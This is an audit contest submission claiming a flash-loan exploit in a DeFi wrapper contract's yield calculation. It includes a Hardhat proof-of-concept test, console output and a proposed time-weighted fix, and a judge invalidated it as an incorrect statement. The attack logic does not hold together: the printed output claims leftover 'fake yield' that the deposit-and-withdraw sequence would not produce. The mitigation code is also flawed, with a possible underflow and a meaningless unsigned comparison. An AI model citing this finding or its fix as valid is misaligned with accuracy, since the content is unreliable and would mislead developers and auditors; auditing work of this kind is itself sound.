HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

### [H-1] Flash Loan Exploit Allows Artificial Yield Generation in `AaveDIVAWrapperCore::_getAccruedYieldPrivate`

Description:
The AaveDIVAWrapperCore::_getAccruedYieldPrivate yield calculation mechanism is vulnerable to manipulation via flash loans.The function computes yield as the difference between the contract's aToken balance and the total supply of wToken. An attacker can exploit this by:

  1. aking a flash loan of the collateral token (e.g., USDT).

  2. Depositing the borrowed funds to mint wToken and create a contingent pool.

  3. Withdrawing the funds immediately.

This artificially inflates the aToken balance temporarily, creating "fake" yield that the contract owner can claim.

function _getAccruedYieldPrivate(address _collateralToken) private view returns (uint256) {
uint256 aTokenBalance = IERC20Metadata(IAave(_aaveV3Pool).getReserveData(_collateralToken).aTokenAddress)
.balanceOf(address(this));
uint256 wTokenSupply = IERC20Metadata(_collateralTokenToWToken[_collateralToken]).totalSupply();
// Handle case where the aToken balance might be smaller than the wToken supply (e.g., due to rounding).
// In that case, the owner should just wait until yield accrues.
return aTokenBalance > wTokenSupply ? aTokenBalance - wTokenSupply : 0;
}

impact:
Funds Theft: The contract owner can claim yield that does not represent real protocol earnings.

Protocol Integrity Loss: Users may lose trust in the protocol if yield can be artificially manipulated.

Direct Financial Loss: If the owner claims and withdraws the artificial yield, the protocol’s reserves become undercollateralized.

Proof of Concept:

Test Setup
describe("Flash Loan Attack - Yield Theft", async () => {
let s: SetupOutput;
let wTokenContract: WToken;
let aTokenContract: ERC20;
let attacker: SignerWithAddress;
const FLASH_LOAN_AMOUNT = parseUnits("1000000", 6); // 1M USDT (6 decimals)
const ETH_AMOUNT = parseUnits("1", 18); // 1 ETH for gas
beforeEach(async () => {
s = await loadFixture(setup);
attacker = s.acc2;
// Deploy mock USDT with 6 decimals and mint to holder
const mockUSDT = await ethers.deployContract("MockERC20", ["USDT", "USDT", 6]);
await mockUSDT.mint(collateralTokenHolder, FLASH_LOAN_AMOUNT); // Critical fix
// Register collateral token
await s.aaveDIVAWrapper.connect(s.owner).registerCollateralToken(mockUSDT.target);
const wTokenAddress = await s.aaveDIVAWrapper.getWToken(mockUSDT.target);
wTokenContract = await ethers.getContractAt("WToken", wTokenAddress);
const aTokenAddress = await s.aaveDIVAWrapper.getAToken(mockUSDT.target);
aTokenContract = await ethers.getContractAt("IERC20", aTokenAddress);
});
async function fundETH(address: string) {
await network.provider.send("hardhat_setBalance", [
address,
ethers.toQuantity(ETH_AMOUNT),
]);
}
Attack
it("Should allow yield theft through flash loan attack", async () => {
// --- Fund ETH for gas ---
await fundETH(attacker.address);
await fundETH(collateralTokenHolder); // Fund holder for gas
// --- Impersonate holder and transfer tokens ---
await network.provider.request({
method: "hardhat_impersonateAccount",
params: [collateralTokenHolder],
});
const holderSigner = await ethers.getSigner(collateralTokenHolder);
const collateralTokenContract = await ethers.getContractAt("IERC20", collateralToken);
await collateralTokenContract.connect(holderSigner).transfer(
attacker.address,
FLASH_LOAN_AMOUNT
);
// --- Execute attack ---
// 1. Deposit flash-loaned funds
await collateralTokenContract.connect(attacker).approve(s.aaveDIVAWrapper.target, FLASH_LOAN_AMOUNT);
await s.aaveDIVAWrapper.connect(attacker).createContingentPool({
...s.createContingentPoolParams,
collateralAmount: FLASH_LOAN_AMOUNT,
collateralToken: collateralToken,
longRecipient: attacker.address,
shortRecipient: attacker.address
});
// 2. Withdraw immediately
const poolId = await getPoolIdFromAaveDIVAWrapperEvent(s.aaveDIVAWrapper);
const poolParams = await s.diva.getPoolParameters(poolId);
const shortToken = await ethers.getContractAt("IERC20", poolParams.shortToken);
const longToken = await ethers.getContractAt("IERC20", poolParams.longToken);
await shortToken.connect(attacker).approve(s.aaveDIVAWrapper.target, FLASH_LOAN_AMOUNT);
await longToken.connect(attacker).approve(s.aaveDIVAWrapper.target, FLASH_LOAN_AMOUNT);
await s.aaveDIVAWrapper.connect(attacker).removeLiquidity(
poolId,
FLASH_LOAN_AMOUNT,
attacker.address
);
// 3. Claim artificial yield
const artificialYield = await s.aaveDIVAWrapper.getAccruedYield(collateralToken);
await s.aaveDIVAWrapper.connect(s.owner).claimYield(collateralToken, s.owner.address);
// --- Assertions ---
expect(artificialYield).to.be.gt(0); // Fake yield generated
});
});
Console Output
--- After Flash Loan ---
Attacker Token Balance: 1000000.0 (USDT)
Attacker ETH Balance: 1.0
--- After Withdrawal ---
Attacker Final Balance: 1000000.0 (USDT recovered)
aToken Final Balance: 1000000.0 (Fake yield remains)
wToken Final Supply: 0
--- Attack Result ---
Artificial Yield Generated: 1000000.0 (6 decimals)
Yield Claimed by Owner: 1000000.0 (Stolen USDT)

Recomended Mitigation:
Use time-weighted Average Yield

// Track time-weighted yield
mapping(address => uint256) public lastYieldUpdate;
function _getAccruedYieldPrivate(address collateralToken) private view returns (uint256) {
uint256 aTokenBalance = IERC20(aToken).balanceOf(address(this));
uint256 wTokenSupply = wToken.totalSupply();
uint256 timeElapsed = block.timestamp - lastYieldUpdate[collateralToken];
// Calculate yield as time-weighted average
uint256 yield = (aTokenBalance - wTokenSupply) * timeElapsed / 1 days;
return yield > 0 ? yield : 0;
}
function _claimYield(...) internal {
lastYieldUpdate[collateralToken] = block.timestamp; // Reset timer
// ... existing logic ...
}
  1. This Yield is averaged over time, making short-term balance spikes irrelevant.

  2. Preserves Functionality: Legitimate yield accrual remains intact while blocking artificial inflation.

Updates

Lead Judging Commences

bube Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.